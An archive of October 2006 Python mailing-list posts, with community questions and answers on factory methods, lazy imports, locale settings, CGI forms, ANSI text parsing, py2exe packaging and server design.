Message-ID: <egg4mt$e7g$1@south.jnrs.ja.net>


"Edward Diener No Spam" <eldiener_no_spam_here at earthlink.net> wrote in message 
news:WvMWg.12223$UG4.9358 at newsread2.news.pas.earthlink.net...

> "Thinking in Java or C++" as opposed to Python does not mean anything to me as a general 
> statement. I am well aware of the difference between statically and dynamically typed 
> languages but why this should have anything to do with RAD programming is beyond me. Do 
> you care to elucidate this distinction ?

I think this blog entry http://osteele.com/archives/2004/11/ides
provides some insight into the point of view expressed. 




From fredrik at pythonware.com  Thu Oct 19 02:07:04 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 19 Oct 2006 08:07:04 +0200
Subject: passing values to a program
In-Reply-To: <1161233577.817801.278720@k70g2000cwa.googlegroups.com>
References: <1161233577.817801.278720@k70g2000cwa.googlegroups.com>
Message-ID: <eh74m8$o18$1@sea.gmane.org>

Eric_Dexter at msn.com wrote:

>      I almost have this thing running like I want it to run but I want
> the values to come from the program that calls this one.  There are two
> things I want to pass File_Name and CutString.  They both need to go to
> loadFile routine of Class WordGrid to replace constants.

note that your code is already using "sys.argv" to read arguments from 
the command line (inside the main function), so obviously you know how 
to do that, and your code is passing arguments around (to both the 
constructor and the main function), so obviously you know how to do that.

so what's the problem here?  why not just use the mechanisms you already 
know how to use?

</F>



From onurb at xiludom.gro  Tue Oct 24 10:44:14 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Tue, 24 Oct 2006 16:44:14 +0200
Subject: return same type of object
In-Reply-To: <bqp%g.80658$073.43363@trnddc01>
References: <bqp%g.80658$073.43363@trnddc01>
Message-ID: <453e26bf$0$21879$426a74cc@news.free.fr>

David Isaac wrote:
> Instances of MyClass have a method that
> returns another instance.  

This is usually known as a 'factory method'.

> Ignoring the details
> of why I might wish to do this, I could
> return MyClass()
> or
> return self.__class__()
>
> I like that latter better.  Should I?

You do realise that both solutions are *not* strictky equilavent, do you?

class PsychoRigid(object):
  def create(self):
    return PsychoRigid()

class PsychoRigidChild(PsychoRigid):
  pass

pr1 = PsychoRigidChild()
pr2 = pr1.create()
print "pr2 is a ", type(pr2)

class Virtual(object):
  def create(self):
    return self.__class__()

class VirtualChild(Virtual):
  pass

vc1 = VirtualChild()
vc2 = vc1.create()
print "vc2 is a ", type(vc2)


My 2 cents...
-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From Larry Bates <larry dot bates at websafe dot com>  Mon Oct 23 15:13:36 2006
From: Larry Bates <larry dot bates at websafe dot com> (Larry Bates)
Date: Mon, 23 Oct 2006 14:13:36 -0500
Subject: Getting a lot of SPAM from this list
Message-ID: <UeSdnWGhrcr6iaDYnZ2dnUVZ_s2dnZ2d@comcast.com>

I'm getting a lot of spam to the email address I use to post
to this list.  Since this email address doesn't appear elsewhere,
I know that people are scanning this list to get the email
address and spam me.  Does anyone have a suggestion as to a
way that I can get less of this spam?  I could have another
email address, but that won't help as I'd still get the spam
and have to wade through it.  I'm running spamassassin, but it
isn't catching all that much of it.  Any suggestions would be
greatly appreciated.

Regards,
Larry Bates


From andrea.gavana at gmail.com  Tue Oct 17 04:34:42 2006
From: andrea.gavana at gmail.com (Andrea Gavana)
Date: Tue, 17 Oct 2006 09:34:42 +0100
Subject: Numpy-f2py troubles
Message-ID: <d5ff27200610170134w45fff251ma220bdbc4371afbb@mail.gmail.com>

Hello NG,

    I am using the latest Numpy release 1.0rc2 which includes F2PY. I
have switched to Python 2.5 so this is the only alternative I have
(IIUC). With Python 2.4, I was able to build a very simple fortran
extension without problems.

My extension contains 4 subroutines that scan a file and do simple operations.
Now, attempting to run the second subroutine as:

dprops, dwgnames, dunits = readsmspec.readsmspec(smspec, dimens)

Prompt a ValueError from Python:

  File "D:\MyProjects\Carolina\MainPanel.py", line 894, in ReadSMSPECFile
    dprops, dwgnames, dunits = readsmspec.readsmspec(smspec, dimens)
ValueError: data type must provide an itemsize

?!? I have never seen anything like that and googling around didn't
give me any answer. The function accepts two inputs:

- smspec: a filename, maximum 1000 characters long
- dimens: an integer

and returns 3 array of chars, each of them with size (8, dimens). Does
anyone know what I may be doing wrong?

Thank you very much for every pointer.


-- 
Andrea.

"Imagination Is The Only Weapon In The War Against Reality."
http://xoomer.virgilio.it/infinity77/


From g.brandl-nospam at gmx.net  Fri Oct  6 13:09:55 2006
From: g.brandl-nospam at gmx.net (Georg Brandl)
Date: Fri, 06 Oct 2006 19:09:55 +0200
Subject: Automatic import PEP
In-Reply-To: <1160151531.628593.230160@m73g2000cwd.googlegroups.com>
References: <mailman.491.1158981359.10491.python-list@python.org>
	<1160151531.628593.230160@m73g2000cwd.googlegroups.com>
Message-ID: <eg62l4$7n8$1@news.albasani.net>

Dan Bishop wrote:
> On Sep 22, 10:09 pm, Connelly Barnes <connellybar... at yahoo.com> wrote:
>> Hi,
>>
>> I wrote the 'autoimp' module [1], which allows you to import lazy modules:
>>
>> from autoimp import *     (Import lazy wrapper objects around all modules; "lazy
>>                            modules" will turn into normal modules when an attribute
>>                            is first accessed with getattr()).
>> from autoimp import A, B  (Import specific lazy module wrapper objects).
>>
>> The main point of autoimp is to make usage of the interactive Python prompt
>> more productive by including "from autoimp import *" in the PYTHONSTARTUP file.
> 
> And it does.  Gets rid of "oops, I forgot to import that module"
> moments without cluttering my $PYTHONSTARTUP file with imports.  +1.
> 
> My only complaint is that it breaks globals().

And startup takes quite long the first time, because a list of all available
modules must be gathered.

To work around that, one can either use a special importing "lib" object,
defined like that:

class _lib:
     def __getattr__(self, name):
         return __import__(name)
lib = _lib()


or modify the globals() to automatically look up modules on KeyError, like this
(put into PYTHONSTARTUP file):


import sys, code

class LazyImpDict(dict):
     def __getitem__(self, name):
         try:
             return dict.__getitem__(self, name)
         except KeyError:
             exc = sys.exc_info()
             try:
                 return __import__(name)
             except ImportError:
                 raise exc[0], exc[1], exc[2]

d = LazyImpDict()
code.interact(banner='', local=d)
sys.exit()


Of course, this is not perfect as it may break quite a lot of things,
I haven't tested it thoroughly.

Georg


From michele.simionato at gmail.com  Wed Oct 18 04:33:59 2006
From: michele.simionato at gmail.com (Michele Simionato)
Date: 18 Oct 2006 01:33:59 -0700
Subject: creating many similar properties
In-Reply-To: <1161160057.392965.323330@m73g2000cwd.googlegroups.com>
References: <n2fZg.3322$Ka1.1194@news01.roc.ny>
	<1161153829.566566.73960@b28g2000cwb.googlegroups.com>
	<1161158181.103138.294330@b28g2000cwb.googlegroups.com>
	<1161160057.392965.323330@m73g2000cwd.googlegroups.com>
Message-ID: <1161160436.888246.21020@m73g2000cwd.googlegroups.com>

Carl Banks wrote:
> Devil's Advocate: he did say "hidden magic TO YOUR CLASS".
>
> If you use a (real) metaclass, then you have the icky feeling of a
> class permanently tainted by the unclean metaclass (even though the
> metaclass does nothing other than touch the class dict upon creation);
> whereas if you use Michele Simionato's hack, the icky feeling of using
> a stack frame object goes away after the property is created: you are
> left with a clean untainted class.

Yep, exactly.

> Personally, the former doesn't make me feel icky at all.

Please, do this experiment: take all classes defined in the Python
standard library and add
to them a custom do-nothing metaclass. See what happens.


     Michele Simionato



From bignose+hates-spam at benfinney.id.au  Thu Oct  5 18:18:01 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Fri, 06 Oct 2006 08:18:01 +1000
Subject: What value should be passed to make a function use the default
	argument value?
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
	<7xwt7gqwb3.fsf@ruckus.brouhaha.com>
	<slrnei7235.55m.apardon@rcpc42.vub.ac.be>
	<7xac4cpefr.fsf@ruckus.brouhaha.com>
	<slrnei73f7.55m.apardon@rcpc42.vub.ac.be>
	<eg03un$se8$1@news.albasani.net>
	<slrnei75t2.55m.apardon@rcpc42.vub.ac.be>
	<7xhcyk2u1z.fsf@ruckus.brouhaha.com> <eg17jd$gsr$1@news.albasani.net>
	<mailman.1295.1159996151.10491.python-list@python.org>
	<slrneia6c4.55m.apardon@rcpc42.vub.ac.be>
	<7.0.1.0.0.20061005153148.05a4a350@yahoo.com.ar>
	<eg3kgh$h1p$1@sea.gmane.org>
Message-ID: <87zmcacspy.fsf@benfinney.id.au>

Fredrik Lundh <fredrik at pythonware.com> writes:

> Gabriel Genellina wrote:
>
> >> > the general rule is that if the documentation doesn't
> >> > explicitly say that something is a keyword argument, it isn't,
> >> > and shouldn't be treated as such.
>
> you guys need to look up the words "should" and "not" in a dictionary.

Perhaps you meant something other than "if the documentation doesn't
explicitly say that something is a keyword argument, it isn't", then.

-- 
 \          "If I ever get real rich, I hope I'm not real mean to poor |
  `\                           people, like I am now."  -- Jack Handey |
_o__)                                                                  |
Ben Finney



From http  Sun Oct  8 17:45:29 2006
From: http (Paul Rubin)
Date: 08 Oct 2006 14:45:29 -0700
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<YzoVg.137036$zy5.1843214@twister1.libero.it>
	<mailman.1477.1160171746.10491.python-list@python.org>
	<1160172267.566568.79030@m7g2000cwm.googlegroups.com>
	<452966A2.1090107@v.loewis.de> <egbq0f$iah$1@sea.gmane.org>
	<mailman.83.1160343369.11739.python-list@python.org>
Message-ID: <7x64eu4h3a.fsf@ruckus.brouhaha.com>

skip at pobox.com writes:
> Which is something SourceForge has yet to learn.  At work we use a system
> called RT (http://www.bestpractical.com/rt/).  While it's not perfect, it
> does allow submissions and responses via email.  That feature alone puts it
> miles ahead of SF in my mind.

I'm on the other side--I think spam has destroyed the usefulness of
email as a communications medium and I don't want to depend on
anything having to do with email any more.  I hate the way SF requires
registering an email address and then it emails you every update to
your SF issues.  As a low-intensity user, I sort of tolerate it.  But
if I used SF more, I'd have to direct all the SF email to a spam
bucket and never look at it.  At most I'd want it to send about one
email per week.  But I'd much rather have a personalized RSS feed that
delivers updates about the bugs that I'm following.

I also notice that the PyPy mailing list now delivers mostly spam, so
I've had to direct that to a spam bucket.


From jcd at sdf.lonestar.org  Tue Oct 24 17:29:48 2006
From: jcd at sdf.lonestar.org (J. Clifford Dyer)
Date: Tue, 24 Oct 2006 15:29:48 -0600
Subject: Simple python + html + from --> to python script
References: <1161722017.705987.78760@m7g2000cwm.googlegroups.com>
	<mailman.1111.1161722642.11739.python-list@python.org>
	<1161724741.888254.321030@m73g2000cwd.googlegroups.com>
Message-ID: <ehm0k8$r37$1@aioe.server.aioe.org>

A good starting place would be the documentation on python.org.

In this case, the python library reference would have been helpful:

http://docs.python.org/lib/lib.html

Cheers,
Cliff


flit wrote:
> Man....
> Very thanks...
> I really try to find some source of good and simple and nothing..
> Many thanks you are a great help!
> 
> Steve Holden wrote:
>> flit wrote:
>>> Hello All,
>>>
>>> I am trying to get information from a form and send it to a python
>>> script without success..
>>> Here is my objective:
>>>
>>> User enters data in form --> form send variables to python script -->
>>> script runs and output result.
>>>
>>> the form code
>>>
>>> <form method="post" action="/cgi-bin/script.py" name="coord">Entre com
>>> os dados <input name="data1"><br>
>>>
>>> Entre com os dados <input name="data2"><br>
>>> Vai magraum <button name="submete"></button></form>
>>>
>>> In my script.py
>>>
>>> What I should have to print
>>> something like
>>>
>>> Hello the data1 + data 2 = ....
>>>
>>> ?
>>>
>>> Maybe I am stumbling in something very simple, but I cannot find some
>>> working example, and I am totally confused...
>>> Thanks in advance
>>>
>> Untested, without error checking. Caveat emptor:
>>
>> import cgi
>> import cgitb; cgitb.enable() # optional error handling
>>
>> form = cgi.FieldStorage()
>>
>> d1 = form["data1"].value
>> d2 = form["data2"].value
>>
>> print """\
>> Content-type: text/plain
>>
>> Hello: the data were: %s and %s""" % (d1, d2)
>>
>> regards
>>   Steve
>> --
>> Steve Holden       +44 150 684 7255  +1 800 494 3119
>> Holden Web LLC/Ltd          http://www.holdenweb.com
>> Skype: holdenweb       http://holdenweb.blogspot.com
>> Recent Ramblings     http://del.icio.us/steve.holden
> 


From __peter__ at web.de  Tue Oct 17 11:05:34 2006
From: __peter__ at web.de (Peter Otten)
Date: Tue, 17 Oct 2006 17:05:34 +0200
Subject: Format a number as currency! I can't find any help on this simple
	problem.
References: <mailman.251.1160535479.11739.python-list@python.org>
	<1160537295.884864.162200@i3g2000cwc.googlegroups.com>
	<1161094565.268129.132600@f16g2000cwb.googlegroups.com>
Message-ID: <eh2rbq$rg3$01$1@news.t-online.com>

jr wrote:

>> >>> import locale
>> >>> locale.setlocale(locale.LC_ALL, 'English_United States.1252')
>> 'English_United States.1252'

> Just tried the first 2 commands on win XP, Python 2.5 under Idle.
> An Error is raised: "unsupported locale setting" (lib/locale.py in
> setlocale, line 476).
> Actually I get the error also under Python 2.4.3
> Any idea what I'm missing?

Let your machine decide

>>> locale.setlocale(locale.LC_ALL, "")
'de_DE.UTF-8'

or try something less specific:

>>> locale.setlocale(locale.LC_ALL, "en_US")
'en_US'

Peter


From s99999999s2003 at yahoo.com  Thu Oct  5 22:47:40 2006
From: s99999999s2003 at yahoo.com (s99999999s2003 at yahoo.com)
Date: 5 Oct 2006 19:47:40 -0700
Subject: printing variables
Message-ID: <1160102860.587127.240080@h48g2000cwc.googlegroups.com>

hi
say i have variables like these

var1 = "blah"
var2 = "blahblah"
var3 = "blahblahblah"
var4 = "...."
var5 = "..."..

bcos all the variable names start with "var", is there a way to
conveniently print those variables out...
eg print var* ??
i don't want to do :

print var1, var2, var3, var4 ......etc...
thanks



From horpner at yahoo.com  Tue Oct 24 11:02:15 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: 24 Oct 2006 17:02:15 +0200
Subject: The format of filename
References: <slrnejs9l1.184.horpner@FIAD06.norwich.edu>
	<mailman.1074.1161701843.11739.python-list@python.org>
Message-ID: <slrnejsaoq.1gg.horpner@FIAD06.norwich.edu>

On 2006-10-24, Fredrik Lundh <fredrik at pythonware.com> wrote:
> Neil Cerutti wrote:
>
>> Where can I find documentation of what Python accepts as the
>> filename argument to the builtin function file?
>> 
>> As an example, I'm aware (through osmosis?) that I can use '/' as
>> a directory separator in filenames on both Unix and Dos. But
>> where is this documented?
>
> in the documentation for your operating system.  Python doesn't
> do anything with the filenames.

Is translation of '/' to '\\' a feature of Windows or Python?

-- 
Neil Cerutti


From cjw at sympatico.ca  Mon Oct  2 07:56:58 2006
From: cjw at sympatico.ca (Colin J. Williams)
Date: Mon, 02 Oct 2006 07:56:58 -0400
Subject: Python/UNO/OpenOffice?
In-Reply-To: <78b3a9580609301049y6eef219cy18f89abc58b55e68@mail.gmail.com>
References: <78b3a9580609301049y6eef219cy18f89abc58b55e68@mail.gmail.com>
Message-ID: <efquqb$1gp$1@sea.gmane.org>

wesley chun wrote:
> as others have said, that project provides a working interface to OOo
> (OpenOffice 2 on Ubuntu Breezy and Dapper).  i've made several posts
> to this regard over the summer here on CLP.  i was mostly using it to
> "mess around" with documents in StarWriter.
> 
> cheers,
> -- wesley
> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
> "Core Python Programming", Prentice Hall, (c)2007,2001
>     http://corepython.com
> 
> wesley.j.chun :: wescpy-at-gmail.com
> python training and technical consulting
> cyberweb.consulting : silicon valley, ca
> http://cyberwebconsulting.com
I've done some small things with Python/OpenOffice, using Windows XP. 
They appear to work OK.

It seems that there is only one person to maintain the Python interface 
and that there few users - no critical mass.  I hope that this will 
change as OpenOffice is, with the exception of the Base component, a 
solid package. The base (database) component is evolving.

Colin W.




From sybrenUSE at YOURthirdtower.com.imagination  Thu Oct 19 10:45:46 2006
From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel)
Date: Thu, 19 Oct 2006 16:45:46 +0200
Subject: Classes and Functions - General Questions
References: <1161200542.603408.94630@k70g2000cwa.googlegroups.com>
	<slrnejd25v.7q6.sybrenUSE@schuimige.stuvel.eu>
	<1161203230.765292.99380@f16g2000cwb.googlegroups.com>
Message-ID: <slrnejf3sq.bfo.sybrenUSE@schuimige.stuvel.eu>

Setash enlightened us with:
>> class1.py:
>>
>>     class Class1(object):
>>         pass
>>
>> class2.py:
>>     import class1

This line imports class1.py and places its contents under the name
"class1".

> classes.py:
>
>   class Class1
>     pass
>
>   class Class2(Class1)
>     pass

That's correct.

> or would I still need to call it as:
>
>   class Class2(classes.Class1)
>     pass

Nope, since the name "classes" is unknown.

Sybren
-- 
Sybren St??vel
St??vel IT - http://www.stuvel.eu/


From knipknap at gmail.com  Tue Oct  3 18:19:31 2006
From: knipknap at gmail.com (Samuel)
Date: 3 Oct 2006 15:19:31 -0700
Subject: Instantiating an object when the type is only known at runtime
In-Reply-To: <Xns9851A323A453DrtwfreenetREMOVEcouk@216.196.109.145>
References: <1159883162.906612.292870@c28g2000cwb.googlegroups.com>
	<Xns9851A323A453DrtwfreenetREMOVEcouk@216.196.109.145>
Message-ID: <1159913971.260327.270750@b28g2000cwb.googlegroups.com>

Thanks, that's what I was looking for.

> >>> m = __import__( "StringIO" )
> >>> x = getattr( m, "StringIO" )()
> >>> x
> <StringIO.StringIO instance at 0x00A47710>
> >>>

For the records: If the module is already loaded, this also works:

if my_type_is_not_yet_loaded:
    module = __import__(type)
    obj    = getattr(module, type)
else:
    obj    = globals().get(type)
resource = obj(my_arg1, my_arg2)

Thanks again,
-Samuel



From vatamane at gmail.com  Sun Oct 29 16:13:32 2006
From: vatamane at gmail.com (Nick Vatamaniuc)
Date: 29 Oct 2006 13:13:32 -0800
Subject: Event driven server that wastes CPU when threaded doesn't
References: <1162120762.477120.275320@e3g2000cwe.googlegroups.com>
Message-ID: <1162156412.199341.315540@i42g2000cwa.googlegroups.com>

Snor,

The simplest solution is to change your system and put the DB on the
same machine thus greatly reducing the time it takes for each DB query
to complete (avoid the TCP stack completely).  This way you might not
have to change your application logic.

If that is not an option, then you are faced with a problem of
connecting a threaded programming model with an event based model
(twisted and and such). So your job is to interface the two. In other
words make the event based model see the threaded DB access as event
based. And the DB driver to see the event-based system as threaded. So
in your event dispatcher you could add events like db_request_finished
then when a connection is requested to the DB, a callback will be
supplied. The connection will take place in its own thread, then when
it is finished it will put the db_request_finished and the respective
callback function on the event queue. I am not sure how to integrate
that into the Twisted event dispatcher... perhaps this class is the
answer?:
http://twistedmatrix.com/documents/current/api/twisted.python.dispatch.EventDispatcher.html

Hope this helps,
Nick V.



Snor wrote:
> I'm attempting to create a lobby & game server for a multiplayer game,
> and have hit a problem early on with the server design. I am stuck
> between using a threaded server, and using an event driven server. I've
> been told time and time again that I should use an event driven server
> design (that is, use twisted).
>
> There is a lot of interaction between the clients and they would often
> need to write to the same list of values, which of course becomes a
> problem with a threaded server - so event driven solves that problem,
> and I assumed it would solve all my problems. However some requests
> from clients would require that the server goes on to query a mySQL
> server (separate machine from the server). As this occurs, there is a
> small amount of lag while the communication with the mySQL server takes
> place, and there could be another 100 clients waiting to make a request
> at this point, meanwhile the server is idling while waiting for a
> response from the mySQL server - obviously not a good server model.
>
> I will want the server to support as many users as is possible on any
> given machine - and so wasted CPU cycles is something I am trying to
> avoid.
>
> Is the only solution to use a threaded server to let my clients make
> their requests and receive a response in the fastest possible time?



From samnemo at gmail.com  Mon Oct 23 15:06:46 2006
From: samnemo at gmail.com (samn)
Date: 23 Oct 2006 12:06:46 -0700
Subject: python2.5 importerror on md5
Message-ID: <1161630406.102958.22270@i3g2000cwc.googlegroups.com>

i compiled and installed the release version of python 2.5 for linux to
a directory accessible to 2 computers, configured with
--prefix=/usr/arch (which is accessible to both machines). the
installation went fine and when i run python on one machine i can do
from hashlib import * without a problem. on the other machine i get the
following error:
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/arch/lib/python2.5/hashlib.py", line 104, in <module>
    md5 = __get_builtin_constructor('md5')
  File "/usr/arch/lib/python2.5/hashlib.py", line 31, in
__get_builtin_constructor
    import _md5
ImportError: No module named _md5

I have the file md5.py , md5.pyo , and md5.pyc in
/usr/arch/lib/python2.5/ so I don't know why python is having a problem
finding the md5 module...

The sys.path is equal on both machines :
['', '/usr/arch/lib/python25.zip', '/usr/arch/lib/python2.5',
'/usr/arch/lib/python2.5/plat-linux2',
'/usr/arch/lib/python2.5/lib-tk',
'/usr/arch/lib/python2.5/lib-dynload',
'/usr/arch/lib/python2.5/site-packages',
'/usr/arch/lib/python2.5/site-packages/gtk-2.0']

Here is the version info :
Python 2.5 (r25:51908, Oct 23 2006, 13:38:11)
[GCC 3.2.3 20030502 (Red Hat Linux 3.2.3-56)] on linux2

If anyone has encountered similar problems or knows of a way to
fix/suggestions please let me know.

Thanks in advance.
Sam



From nitte.sudhir at gmail.com  Tue Oct 10 14:48:56 2006
From: nitte.sudhir at gmail.com (kath)
Date: 10 Oct 2006 11:48:56 -0700
Subject: Is a list static when it's a class member?
References: <1160505300.141637.40170@i3g2000cwc.googlegroups.com>
Message-ID: <1160506136.347460.76030@m73g2000cwd.googlegroups.com>

glue wrote:
> I have a class with a list member and the list seems to behave like
> it's static while other class members don't. The code...
>
> class A:
>     name = ""
>     data = []
>     def __init__(self, name):
>         self.name = name
>     def append(self, info):
>         self.data.append(info)
>     def enum(self):
>         for x in self.data:
>             print "\t%s" % x
>
> a = A("A:")
> print a.name
> a.append("one")
> a.append("two")
> a.enum()
> b = A("B:")
> print b.name
> b.append("horse")
> b.append("bear")
> b.enum()
> print a.name
> a.enum()
>
> The output...
> >>>
> A:
> 	one
> 	two
> B:
> 	one
> 	two
> 	horse
> 	bear
> A:
> 	one
> 	two
> 	horse
> 	bear
> >>>
>
> How do i get:
> A:
>         one
>         two
> B:
>         horse
>         bear
> A:
>         one
>         two
>
> Thanks,
>
> glue




hi,

try this,
class A:
    def __init__(self, name):
        self.name = name
        self.data=[]                 # Define an array when you
instantiate an object.
    def append(self, info):
        #self.data=[]
        self.data.append(info)
    def enum(self):
        for x in self.data:
            print "\t%s" % x

a = A("A:")
print a.name
a.append("one")
a.append("two")
a.enum()
b = A("B:")
print b.name
b.append("horse")
b.append("bear")
b.enum()
print a.name
a.enum()



From anthra.norell at vtxmail.ch  Mon Oct 23 15:16:44 2006
From: anthra.norell at vtxmail.ch (Frederic Rentsch)
Date: Mon, 23 Oct 2006 21:16:44 +0200
Subject: Attempting to parse free-form ANSI text.
In-Reply-To: <453CBC03.6090003@vtxmail.ch>
References: <GsGdnTIYc-lXaafYnZ2dnUVZ_sCdnZ2d@comcast.com>	<JfU_g.1083$GR2.132@tornado.texas.rr.com>
	<453CBC03.6090003@vtxmail.ch>
Message-ID: <453D151C.8080905@vtxmail.ch>

Frederic Rentsch wrote:
> Paul McGuire wrote:
>   
>> "Michael B. Trausch" <"mike$#at^&nospam!%trauschus"> wrote in message 
>>     

Sorry about the line wrap mess in the previous message. I try again with 
another setting:

Frederic

######################################################################

The following code does everything Mike needs to do, except interact 
with wx. It is written to run standing alone. To incorporate it in 
Mike's class the functions would be methods and the globals would be 
instance attributes. Running it does this:

>>> chunk_1 = """This is a test string containing some ANSI sequences.
Sequence 1 Valid code, invalid numbers: \x1b[10;12mEnd of sequence 1
Sequence 2 Not an 'm'-code: \x1b[30;4;77hEnd of sequence 2
Sequence 3 Color setting code: \x1b[30;45mEnd of sequence 3
Sequence 4 Parameter setting code: \x1b[7mEnd of sequence 4
Sequence 5 Color setting code spanning calls: \x1b[3"""

>>> chunk_2 = """7;42mEnd of sequence 5
Sequence 6 Invalid code: \x1b[End of sequence 6
Sequence 7 A valid code at the end: \x1b[9m
"""

>>> init ()
>>> process_text (chunk_1)
>>> process_text (chunk_2)
>>> print output

This is a test string containing some ANSI sequences.
Sequence 1 Valid code, invalid numbers:  >>!!!Ignoring unknown number 10!!!<<  >>!!!Ignoring unknown number 1!!!<< End of sequence 1
Sequence 2 Not an 'm'-code: End of sequence 2
Sequence 3 Color setting code:  >>setting foreground BLACK<<  >>setting background MAGENTA<< End of sequence 3
Sequence 4 Parameter setting code:  >>Calling parameter setting function 7<< End of sequence 4
Sequence 5 Color setting code spanning calls:  >>setting foreground GREY<<  >>setting background GREEN<< End of sequence 5
Sequence 6 Invalid code: nd of sequence 6
Sequence 7 A valid code at the end:  >>Calling parameter setting function 9<<


#################


def init ():              # To add to AnsiTextCtrl.__init__ ()

  import SE   # SEL is less import overhead but doesn't have interactive 
development features (not needed in production versions)

  global output  #-> For testing
  global Pre_Processor, digits_re, Colors, truncated_escape_hold   # 
global -> instance attributes

  # Screening out all ansi escape sequences except those controlling color
  grit = '\n'.join (['(%d)=' % i for i in range (128,255)]) + ' (13)= '  
# Makes 127 fixed expressions plus delete \r
  # Regular expression r'[\x80-\xff\r]' would work fine but is four 
times slower than 127 fixed expressions
  all_escapes   = r'\x1b\[\d*(;\d*)*[A-Za-z]'
  color_escapes = r'\x1b\[\d*(;\d*)*m'
  Pre_Processor = SE.SE ('%s ~%s~= ~%s~==' % (grit, all_escapes, 
color_escapes))  # SEL.SEL for production
  # 'all_escapes' also matches what 'color_escapes' matches. With 
identical regular expression matches the last regex definitions applies.

  # Isolating digits.
  digits_re = re.compile ('\d+')

  # Color numbers to color names
  Colors = SE.SE ('''
      30=BLACK    40=BLACK
      31=RED      41=RED
      32=GREEN    42=GREEN
      33=YELLOW   43=YELLOW
      34=BLUE     44=BLUE
      35=MAGENTA  45=MAGENTA
      36=CYAN     46=CYAN
      37=GREY     47=GREY
      39=GREY     49=BLACK
      <EAT>
  ''')

  truncated_escape_hold = ''  #-> self.truncated_escape_hold
  output                = ''  #-> For testing only


# What follows replaces all others of Mike's methods

def process_text (text):

  global output  #-> For testing
  global truncated_escape_hold, digits_re, Pre_Processor, Colors

  purged_text = truncated_escape_hold + Pre_Processor (text)
  # Text is now clean except for color codes beginning with ESC

  ansi_controlled_sections = purged_text.split ('\x1b')
  # Each ansi_controlled_section starts with a color control, except the 
first one (leftmost split-off)

  if ansi_controlled_sections:
     #-> self.AppendText(ansi_controlled_sections [0])             #-> 
For real
     output += ansi_controlled_sections [0]   #-> For testing      #-> 
For testing
     for section in ansi_controlled_sections [1:]:
        if section == '': continue
        try: escape_ansi_controlled_section, data = section.split ('m', 1)
        except ValueError:   # Truncated escape
           truncated_escape_hold = '\x1b' + section  # Restore ESC 
removed by split ('\x1b')
        else:
           escapes = escape_ansi_controlled_section.split (';')
           for escape in escapes:
              try: number = digits_re.search (escape).group ()
              except AttributeError:
                 output += ' >>!!!Invalid number %s!!!<<< ' % escape    
#-> For testing
                 continue
              _set_wx (number)
           #-> self.AppendText(data)     #-> For real
           output += data                #-> For testing


def _set_wx (n):

  global output  # For testing only
  global Colors

  int_n = int (n)
  if 0 <= int_n <= 9:
     #-> self._number_to_method (n)()                              #-> 
For real
     output += ' >>Calling parameter setting function %s<< ' % n   #-> 
For testing
     return
  color = Colors (n)
  if color:
     if 30 <= int_n < 50:
        if 40 <= int_n:
           #-> self.AnsiBGColor = color                            #-> 
For real
           output += ' >>setting background %s<< ' % color         #-> 
For testing
        else:
           #-> self.AnsiFGColor = color                            #-> 
For real
           output += ' >>setting foreground %s<< ' % color         #-> 
For testing
        return
  output += ' >>!!!Ignoring unknown number %s!!!<< ' % n           #-> 
For testing


#-> For real requires this in addition:
#->
#->   # Methods controlled by 'm' code 0 to 9:  # Presumably 'm'?
#->
#->   def _0 (self):
#->      self.AnsiFGColor = 'GREY'
#->      self.AnsiBGColor = 'BLACK'
#->      self.AnsiFontSize = 9
#->      self.AnsiFontFamily = wx.FONTFAMILY_TELETYPE
#->      self.AnsiFontStyle = wx.FONTSTYLE_NORMAL
#->      self.AnsiFontWeight = wx.FONTWEIGHT_NORMAL
#->      self.AnsiFontUnderline = False
#->
#->   def  _1 (self): self.AnsiFontWeight = wx.FONTWEIGHT_BOLD
#->   def  _2 (self): self.AnsiFontWeight = wx.FONTWEIGHT_LIGHT
#->   def  _3 (self): self.AnsiFontStyle = wx.FONTSTYLE_ITALIC
#->   def  _4 (self): self.AnsiFontUnderline = True
#->   def  _5 (self): pass
#->   def  _7 (self): self.AnsiFGColor, self.AnsiBGColor = 
self.AnsiBGColor, self.AnsiFGColor
#->   def  _8 (self): self.AnsiFGColor = self.AnsiBGColor
#->   def  _9 (self): pass
#->
#->
#->   _number_to_method = {
#->      '0' : _0,
#->      '1' : _1,
#->      '2' : _2,
#->      '3' : _3,
#->      '4' : _4,
#->      '7' : _7,
#->      '8' : _8,
#->      '9' : _9,
#->   }




From tnleeuw at gmail.com  Wed Oct 11 09:54:36 2006
From: tnleeuw at gmail.com (Tim N. van der Leeuw)
Date: 11 Oct 2006 06:54:36 -0700
Subject: Experiences with Py2Exe
In-Reply-To: <1160574156.861514.327390@i42g2000cwa.googlegroups.com>
References: <1160574156.861514.327390@i42g2000cwa.googlegroups.com>
Message-ID: <1160574864.376655.60910@i42g2000cwa.googlegroups.com>

Hi Isaac,


Isaac Rodriguez wrote:
> Hi,
>
> I am looking for feedback from people that has used or still uses
> Py2Exe. I love to program in python, and I would like to use it to
> write support tools for our development team, but I cannot require
> everyone to install python in their machines, so I was thinking that
> Py2Exe would help on that.
>
> The support tools I write are mostly command line driven (no GUI), but
> in the future, I would like to write some expert applications that will
> contain GUI. I was thinking on using wxPython for the GUI, so I was
> wondering how well behaves Py2Exe with the wxPython module.
>

My experiences with Py2Exe and wxPython are very good. In fact, the
samples included with Py2Exe include some wxPython samples.

It's also possible to get PyGTK working with Py2exe, but it's a bit
more convoluted. However, the examples on the PyGTK and esp. Py2exe
websites should get you there.

What was more difficult was Amara, but with some tweaking even that
eventually worked.

I have no experience with CTypes, so I can only assume that it will
work... p4.py might be more reason to worry but you'd have to ask
around or try.

PythonWin was painless, no issues at all getting pythonwin/com etc.
stuff to work.

> Other modules I use besides the standard modules are CTypes and the
> Perforce python module p4.py. I try not to use any of the win32 stuff,
> but I can see how I will have to for some utilitites, so if anyone has
> experience with the win32 modules and Py2Exe, any feedback will be
> highly appreciated.
> 
